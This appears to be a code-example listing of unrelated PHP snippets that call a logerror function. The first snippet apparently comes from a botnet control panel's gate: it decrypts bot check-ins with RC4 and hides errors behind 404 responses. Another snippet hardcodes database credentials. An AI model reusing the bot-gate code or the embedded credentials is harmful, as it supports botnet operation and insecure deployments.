示例#1
0
function GetServerData()
{
    global $bot_id, $data_type, $raw_data;
    //if (defined('D_DEBUG')) $str = $_GET['str']; else
    $str = file_get_contents('php://input');
    if (!$str) {
        if (defined('D_DEBUG')) {
            logerror("Error: E1");
        } else {
            error404();
        }
    }
    //if (!defined('D_DEBUG'))
    $str = RC4($str, $_SERVER['HTTP_HOST']);
    bdecodestr($str, $bot_id, $data_type, $raw_data);
    if (defined('D_DEBUG')) {
        logerror($bot_id . " | " . $data_type . " | " . strlen($raw_data));
    }
    if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) {
        if (defined('D_DEBUG')) {
            logerror("Error: E2");
        } else {
            error404();
        }
    }
}
 /**
  * @return \PDO
  */
 protected function getPDO()
 {
     try {
         if (self::$pdo == null) {
             self::$pdo = new \PDO('mysql:host=127.0.0.1;dbname=notificaciones', 'homestead', 'secret');
             /*        self::$pdo = new \PDO('sqlite:database/responsabilidades.sqlite3',"","",array(
                       \PDO::ATTR_PERSISTENT => true,
                       \PDO::ERRMODE_EXCEPTION =>true,
                       \PDO::ATTR_ERRMODE =>true
                     ));*/
         }
         return self::$pdo;
     } catch (PDOException $e) {
         logerror($e->getMessage(), "opendatabase");
         print "Error in openhrsedb " . $e->getMessage();
     }
 }
示例#3
0
<?php

function logMessage($loglevel, $message)
{
    date_default_timezone_set('America/Chicago');
    $date = date('Y-m-d');
    $handle = fopen("{$date}.log", 'a');
    $content = trim(fwrite($handle, date('Y-m-d h:i:s A T') . "  " . $loglevel . "  " . $message . PHP_EOL));
    fclose($handle);
    return $content . PHP_EOL;
}
function loginfo()
{
    logMessage("[INFO]", "Get up off'a dat thang!");
}
function logerror()
{
    logMessage("[ERROR]", "Err time gon' doit!");
}
loginfo();
logerror();
function errorhandler($errno, $errstr)
{
    logerror($errno, $errstr);
    $content = array("message" => $errstr);
    exit(0);
}